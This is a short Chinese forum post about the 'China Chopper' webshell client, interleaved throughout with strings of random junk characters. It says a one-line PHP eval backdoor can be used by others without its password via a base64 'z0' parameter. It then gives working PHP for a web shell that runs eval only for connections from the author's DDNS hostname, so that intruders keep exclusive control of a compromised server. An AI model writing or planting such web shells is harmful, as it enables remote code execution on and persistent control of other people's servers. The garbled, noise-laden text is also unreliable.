今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞9 e |! l# r( p/ V$ R, d2 j- I1 T
. m3 N) ?3 O j( g8 z! p就算你设置了密码,使用了eval($_REQUEST['moyo']);
( {; z4 Q( J# C7 \ y% L4 z+ \! Q% O
但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
& u' B6 C7 k# g: s# _
- l( p" T2 y# w因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
' a0 r+ T$ }2 K4 z$ _
- M3 v8 {: q" f4 m" V4 R7 t& H' l直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了
& s6 X1 R- B, v1 h
1 n; n; b( O9 s. n0 h5 |不知道是设计缺陷还是故意留的后门3 F5 I' p; E) K6 i( @+ v
+ Q# \+ S' `$ d( \# g& J3 o
如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用7 G* ~+ r2 V* K0 T' ~+ p2 K5 t- N
1 p4 a' D% n& n* e' H" T H
本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org
/ g' j0 n. n; } b$ d8 F3 b' `; V- F) p" }
然后一句话后门这样写
4 V; d# k2 I' y) _% e. K" G: n; `8 f q
<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>/ l4 b7 y' `6 s
这样就可以让一句话后门只允许自己的电脑连接了
: w9 g0 v5 `1 _; _
4 N. R% T0 a7 o5 _$ z V/ y* l: l( Z |